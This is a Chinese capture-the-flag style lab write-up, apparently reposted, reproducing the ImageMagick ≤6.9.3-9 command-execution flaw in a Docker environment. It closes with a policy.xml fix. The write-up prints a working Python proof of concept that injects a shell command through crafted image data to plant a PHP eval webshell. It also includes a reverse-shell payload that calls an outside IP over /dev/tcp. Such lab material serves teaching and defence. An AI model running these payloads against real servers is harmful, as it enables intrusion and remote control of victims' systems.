安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)
Posted 小狐狸FM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)相关的知识,希望对你有一定的参考价值。
前言
POC
即概念验证Proof of Concept
,通常是指漏洞验证程序Docker
是一个开源的应用容器引擎,开发者可以将应用存储到一个镜像中,类似VMware
或VirtualBOX
虚拟机的沙箱机制。ImageMagick
是一个免费创建、编辑、合成图片的软件,大多数功能使用来源于命令行工具
一、实验环境
环境 | 版本 |
---|---|
操作机 | Ubuntu 14.04 |
ImageMagick | 小于等于6.9.3-9 |
用户名 | 密码 |
---|---|
user | 123456 |
Linux命令 | 介绍 |
---|---|
docker exec -it [名称/镜像标识号] /bin/bash | 启用apache服务 |
docker image | 查看已有的docker镜像 |
exit | 退出目前的shell |
ls | 查看当前路径下的所有文件 |
service apache2 status | 查看apache服务运行状态 |
sudo [用户名] | 切换到目标用户,需要输入当前用户的密码 |
二、漏洞复现
[1]. POC
#!/usr/bin/env python
# coding:utf-8
import requests
import base64
target = "http://172.16.11.2:8080/" #目标
def doPost(url, data):
post_data = {"img": base64.b64encode(data)}
try:
requests.post(url + "/poc.php", data=post_data, timeout=1)
except:
pass
# 写 webshell
def writeshell(url):
writeshell = '''push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\\\'<?php eval($_POST[\\\\'ant\\\\']);?>\\\\' > shell.php")'
pop graphic-context
'''
doPost(url, writeshell)
resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
print "WebShell: " + url + "shell.php"
def reverse_shell(url):
reverse_shell = """push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context"""
# 反弹 shell
doPost(url, reverse_shell)
if __name__ == '__main__':
# 写 webshell
writeshell(target)
# 反弹 shell
# reverse_shell("http://127.0.0.1:8000/")
[2]. 启用docker镜像
使用用户名
user
密码123456
登录
用户
user
权限等级不够,使用命令docker image
查看当前的docker
镜像时会报错
用户
su
拥有超级管理员的权限,切换到用户su
,切换时需要输入当前用户的密码
使用
docker images
查看当前可用的docker
镜像
需要用到的docker
镜像为cve-2016-3714
,它的标识号为3a52e631fa88
参数 | 介绍 |
---|---|
REPOSITORY | 镜像库名 |
TAG | 版本 |
IMAGE ID | 镜像标识 |
CREATED | 上一次创建的时间 |
VIRTUAL SIZE | 镜像的大小 |
- 运行
docker
镜像cve-2016-3714
,命名为ichunqiu
,并将80
端口映射到本地的8080
端口,8080:80
前者为默认的本地端口(127.0.0.1
),后者为镜像的端口
-p
表示port
命令,--name
表示设置临时名称,-itd
表示镜像在后台运行- Docker run 命令 | 菜鸟教程
Docker port 命令 |菜鸟教程
- 进入名为
ichunqiu
的镜像操作,并启动apache
服务
ichunqiu
也可以用镜像的标识号3a52e631fa88
替代- Docker exec 命令 | 菜鸟教程
查看
apache
服务是否启动成功
退出镜像
[3]. POC利用
查看一下当前路径下的文件,
poc.py
就是我们需要执行的脚本
执行
poc.py
脚本,返回了一个shell.php
的连接路径
[4]. 验证POC有效性
进入
docker
镜像中,查看shell.php
里面的内容为一句话木马,表示POC利用成功
[5]. 修复方案
在
/etc/ImageMagick/policy.xml
中添加如下代码
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
以上是关于安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)的主要内容,如果未能解决你的问题,请参考以下文章
安全-EmpireCMS 小于等于7.5版本后台XSS漏洞复现
安全-emlog 小于等于5.1.2版本 博客系统后台权限提升漏洞复现(i春秋)
安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)
ImageMagick ghostscript 'delegate' 安全策略阻止转换